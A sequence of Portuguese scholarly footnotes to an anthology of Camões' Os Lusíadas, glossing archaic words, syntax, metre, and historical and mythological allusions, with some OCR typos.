  • (845) descuidados = sem preocupações ou cuidados próprios; mas, de qualquer modo, vigiando, isto é, em situação de quem vigia, reunidos na proa.
  • (846) Os termos estão despojados de preposição, que seria com, em quase todos: com o rosto carregado, com a barba esquálida etc. É um caso de assíndeto.
  • (847) milagres = maravilhas; têm, aliás a mesma raiz, do v. lat. mirari,espantar-se, surpreender-se:miraculu- e mirabilia — plural (tomado como fem.) de mirabilis. Cognatos: mirar, mirante, admirar, admiração, maravilhar, maravilhoso, miríjico etc. O adjet. mirabolante, oriundo de raiz grega, só tem com o verbo mirar o sentido, decorrente da falsa etimologia.
  • (848) quebrantas =quecbras, infringes, ultrapassas.
  • (849) longos mares — longínquos, afastados, temotos mares.
  • (850) insofridas = indomáveis, rebeldes, irrefreáveis, que não forem jugo, (Forma passiva com força ativa).
  • (851) A primeira armada foi a
    de Cabral, que acabava de deixar as praias do Brasil, e da qual se perderam no Tormentório quatro navios. "O dano foi maior que o perigo — diz Cláudio Basto — porque os navios se afundaram tão rapidamente que os tripulantes mal deveriam ter sentido a morte" (Os Lusíadas de Luís de Camões, Porto, 1930, p. 356).
  • (852) se não me engano — Essa intercalada condicional não condiz com a lógica, mas apenas com a rima.
  • (853) quem me descobriu — Refere-se a Bartolomeu Dias, que aí pereceu em 1500, com o seu navio, da frota de Cabral.
  • (854) ilustre está substantivado: é aí o primeiro vice-rei da índia, D. Francisco de Almeida.
  • (855) é Manuel de Sousa Sepúlveda, com sua mulher.
  • (856) implacábil — como visíbil, terríbil, instábil, inábil, incansábil, inso fríbil, vendíbil — que é a forma que Camões conserva a tais adjetivos, sebem que escreva notável (VI, 68) e o plural memoráveis (VII, 70 e VIII, 36)e inexplicáveis (VIII, 12).
  • (857) lados = destinos.
  • (858) como quem…lhe = como aquele que se pesara (se molestara) da pergunta, ou a quem a pergunta molestara. V. a n. 442.
  • (859) Deslocada pela métrica a sílaba tônica de Centimano.
  • (860) — No tempo que = em que. V. a n. 384.
  • (861) Que — conjunção integrante, do primeiro verso, aqui repetida. Em vários passos se depara, nos escritos clássicos, essa repetição do que,praticada também, alguma vez, por modernos. No poema camoniano há outras amostras (I, 55; VIII, 61 etc).
  • (862) nua = desprovida, desamparada,
    desaparelhada, carecida.
  • (863) a sustentar = a defender, a amparar.
  • (864) Com lágrimas [que descem] pelos rostos de alabastro, lágrimas [de faces] formosas, lágrimas bastantes ou capazes de atrair em seu socorro todos
    os deuses do céu…
  • (865) namorados afeitos ~ afetos de amor — que êle verificou em Portugal, por ter sua própria filha, D. Filipa, desposado "o forte rei" D. João I, fundador da dinastia de Avis. Na última estrofe deste c. VI, Camões escreve: "de afeitos ocupado", isto é, levado por afetos.
  • (866) —socorrer-lhe — Este v. teve, entre os clássicos, as duas sintaxes: com dativo, como ai, e com acusativo, como na est. 81 do c. III: "…vai socorrer o filho"; e na est. 65 do mesmo canto: "…a socorrê-la vinha". Na língua atual dá-se-lhe objeto direto.
  • (867) partes = qualidades, dotes, predicados.
  • (868) lhe =: lhes.
  • (869) qual [deles] tenha caído a qual das consortes
    (companheiras indicadas pela sorte).
  • (870) sofre = permite, consente, tolera.
  • (871) Qualquer dos cortesãos deseja ser aventureiro (cavaleiro andante, paladino, defensor).
  • (872) aperceber-se — aparelhar-se, munir-se.
  • (873) experimentado = experiente, hábil.
  • (874) Magriço se dizia= se chamava.
  • (875) manhas = usanças, costumes.
  • (876) última linha das cousas — a morte.
  • (877) E quando caso fôr que eu …não fôr, isto é: que eu não seja. Epifânio Dias assinala o fato sob o nome de assimilação de tempos e explica-o em nota à est.33 do canto VII.
  • (878) que ganhara o pátrio Marte = em que o exército luso obtivera vitórias.
  • (879) caso ou manha = acaso ou propósito.
  • (880) Note o estudante a inversão na ordem dos termos (anástrofe) nos 3.°, 4.° e 5.° versos; e observe, no 4.°, a concordância do verbo no pl. com o complemento do coletivo, e não com éste. V. a n. 517. (881) Do duque, das damas —agentes da passiva.
  • (882) Segurar o campo, nas justas e torneios, era assegurar aos contendores a ordem, a lealdade, a proteção contra a fraude; ou, ainda,
    em luta violenta, afiançar-lhes a impunidade, no caso de alferirem ou matarem os adversários.
  • (883) viram — v. virar, voltar. (Volvem todos o rostopara onde havia a causa principal do reboliço).
  • (884) o animal de Hele é o carneiro de velo de ouro, da fábula, montado por Hele, que dêle caiu ao mar (gr. pontos), tomando-lhe o nome esse mar helénico (Helesponto). A dama inglesa cobriu-se com algum manto ou capa bordada a ouro.
  • (885) abaixar lanças — é pô-las em posição horizontal, em riste, para a carga.
  • (886) treme
    por trema: assimilação de tempos, por força da rima.
  • (887) Desfeita
    a inversão: "O coração que estremece no peito de quem os olha se alvoroça e teme".
  • (888) Voa, que não desce — Este que plonástico inicia a frase retificativa (que se podia reduzir a não desce, mas que pode ser interpretada como adversativa mas não desce, ou causal : pois não desce). V. a n. 216.
  • (889) — qual… qual = um… outro; este…aquele
  • (890) valo = o muro que cerca o campo.
  • (891) Mais acham = encontram mais do que as armas, o valor lusitano.
  • (892) No’ mais — Nom mais (Não canto mais). Nom arc. < lat. non. A expressão está também no c. III. est. 67.
  • (893) destemperada — desentoada, desafinada.
  • (894) Não no dá — V. a n. 671.
  • (895) Austera e vil estão aí, cada um, com um sentido especial dos vários que tinham no latim: austera = sombria, sem brilho; vil = comum, vulgar, indiferente; apagada diz, até hoje, esmorecida, delida, inexpressiva.
  • (896) ledo = alegre, agradável, sadio e favorável: como que reunidas estão essas quatro qualidades no adjet. ledo (lat. laetu-) de que Camões fêz largo uso, pois que está entre os doze qualificativos mais repetidos no poema.
  • (897) idolatras, por idólatras.
  • (898) ao profundo = ao [mar] profundo. Várias vezes Camões emprega essa braquilogia, conquanto use também mar profundoe profundo oceano.
  • (899) humanidade = benevolência, bondade.
  • (900) desalivar ê forma arc de desallvlar, e em ambas é intensivo, não negativo, o pref. des. (Cfr. desmudar, desgastar, desfear, desinquietar, desbotar, descair, deslumbrar, desvanecer etc.).
  • (901) — terão por vento — reputarão vã.
  • (902) E [outros], os trabalhos excessivos.
  • (903) pera [ser] mandados: omissão comum com o v. ser.
  • (904) A métrica ordinária manda ler aqui Anibal como oxítono.
  • (905) tratava e lia = tratava como um lente, como se estivesse ensinando. V. a n. 457.
  • (906) Nas anteriores edições desta Antologia o ponto interrogativo do segundo verso estava substituído por vírgula, e lia-se o que como pron. relat., referente a eu: "Mas eu, que falo [de modo]
    humilde, baixo e rude, sei, contudo, que o louvor sai, às vezes, acabado da boca dos pequenos". Entretanto, o ponto de interrogação após o segundo verso,
    posto pelo Camões e mantido nas edições do poema, torna o que pron. indef.:"Mas, que falo eu? (que digo eu), que sou humilde…? Sei, contudo, que
    o louvor"… etc. A primeira interpretação, não interrogativa, parece diria mais
    logicamente o pensamento do grande épico, tanto mais quanto o v. falar nela
    está na sua vera feição de intransitivo. O conceito aí expresso traduz as palavras de Jesus, que se lêem no Evangelho de Mateus, XXI, 16.
  • (907)ser a vós aceito, de quem virtude deve ser prezada — prepos. a e de iniciando
    agentes da voz passiva.
  • (908) Refere-se à jornada da África, de tão desastrosas conseqüências.
  • (909) Fico = asseguro, afianço, prometo, espero, estou certo — é uma das muitas significações do v. ficar. Veja neste c. X, as est. 25 e 57.
  • (910) — Os dois últimos versos: De modo que sejais outro Alexandre, sem que invejeis a glória de Aquiles [ter sido cantado nas epopéias homéricas], (pois que tendes em mim um novo Homero).
  • (911) "Mas não servia ao pai, servia a ela / que a ela só por prêmio pretendia — três objetos diretos preposicionados.
  • (912) Como se a não tivera merecida". V. a n. 834.
  • (913) Neste trecho: progne = andorinha; filomela = rouxinol; Filomela e Progne, filhas de um rei de Atenas, foram transformadas em rouxinol e andorinha. O preciosismo da poesia clássica designou pelos dois antropônimos aqueles pássaros. Citeréia — Vénus, de Citera, ilha em que recebia intenso culto;Pasitéia, uma das três Graças; Acteão, caçador transformado em veado, por ter visto Diana a banhar-se; Orionte, constelação a que se atribuem as chuvas e tormentas do inverno. Em "gesto turbulento de Orionte" em Os Lusíadas (X,
    88), turbulento tem a significação latina de proceloso. Orionte é nome mal
    formado; melhor: Orion ou Orião.

 

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